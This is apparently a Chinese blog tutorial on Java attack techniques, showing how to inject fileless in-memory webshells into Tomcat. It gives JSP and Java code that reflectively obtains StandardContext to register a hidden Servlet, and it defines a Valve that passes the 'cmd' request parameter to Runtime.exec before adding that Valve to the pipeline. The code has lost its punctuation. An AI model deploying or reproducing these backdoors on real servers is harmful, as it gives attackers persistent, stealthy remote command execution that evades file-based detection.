JAVA攻防-内存马技术手搓代码调试反射Tomcat中间件Servlet路由器Valve管道器

📅 发布时间:2026/7/5 22:26:16 👁️ 浏览次数:
JAVA攻防-内存马技术手搓代码调试反射Tomcat中间件Servlet路由器Valve管道器
知识点Java攻防-内存马技术-手搓代码TomcatServletValve演示案例-Java攻防-内存马技术-手搓代码TomcatServletValveServlet内存马0、添加依赖方便后续IDA调试分析dependencygroupIdorg.apache.tomcat/groupIdartifactIdtomcat-catalina/artifactIdversion9.0.68/version/dependency1、Servlet使用web.xml配置或WebServlet()等。servletservlet-nameservletDemo/servlet-nameservlet-classcom.test.servletDemo/servlet-class/servletservlet-mappingservlet-nameservletDemo/servlet-nameurl-pattern/demo/url-pattern/servlet-mapping2、动态分析参考https://cloud.tencent.com/developer/article/2130045编写一个继承于servlet的类并重写doGet或其他方法 反射调用request类StandardContext类获取context 调用createWrapper方法后设置基于web.xml的配置信息 addChild添加第一个配置addServletMappingDecoded添加第二个配置web.xml配置才是重点如何通过反射技术往这里添加配置。3、内存马实现% //获取StandardContext#contextField reqFrequest.getClass().getDeclaredField(request);reqF.setAccessible(true);Request req(Request)reqF.get(request);StandardContext context(StandardContext)req.getContext();//创建wrapper并写入servlet信息 Wrapper wrappercontext.createWrapper();wrapper.setName(testservlet);wrapper.setServletClass(HelloServlet.class.getName());wrapper.setServlet(new HelloServlet());//添加wrapper并添加路由信息 context.addChild(wrapper);context.addServletMappingDecoded(/*,testservlet);%Tomcat-Valve内存马Valve译文为阀门。在Tomcat中四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper中都有一个管道(PipeLine)及若干阀门(Valve)。它们各自拥有独立的管道PipeLine当各个容器类调用getPipeLine().getFirst().invoke(Request req, Response resp)时会首先调用用户添加的Valve最后再调用缺省的Standard-Valve形象地打个比方供水管道中的各个阀门用来实现不同的功能比方说控制流速、控制流通等等。0、添加依赖方便后续IDA调试分析dependencygroupIdorg.apache.tomcat/groupIdartifactIdtomcat-catalina/artifactIdversion9.0.68/version/dependency1、Valve使用public class TestVavle extends ValveBase{Override public void invoke(Request request, Response response)throws IOException, ServletException{String cmdrequest.getParameter(cmd);if(cmdnull){getNext().invoke(request, response);}else{Runtime.getRuntime().exec(cmd);}}}-全局模板 所有应用都继承相同的 Valve 配置可以修改 Tomcat 的全局context.xml位于$CATALINA_BASE/conf/context.xml -自定义部署 在 src/main/webapp/META-INF 目录下创建context.xml文件2、动态分析参考https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw编写一个继承于ValveBase的类并重写Invoke方法 反射调用request类StandardContext类获取context 随后调用相应容器实例的getPipeline方法后addValve添加3、内存马实现% //反射调用request类 Field reqFrequest.getClass().getDeclaredField(request);reqF.setAccessible(true);Request req(Request)reqF.get(request);//反射调用StandardContext类获取context StandardContext context(StandardContext)req.getContext();//调用getPipeline Pipeline pipelinecontext.getPipeline();//传入testVavle类 TestVavle testVavlenew TestVavle();pipeline.addValve(testVavle);%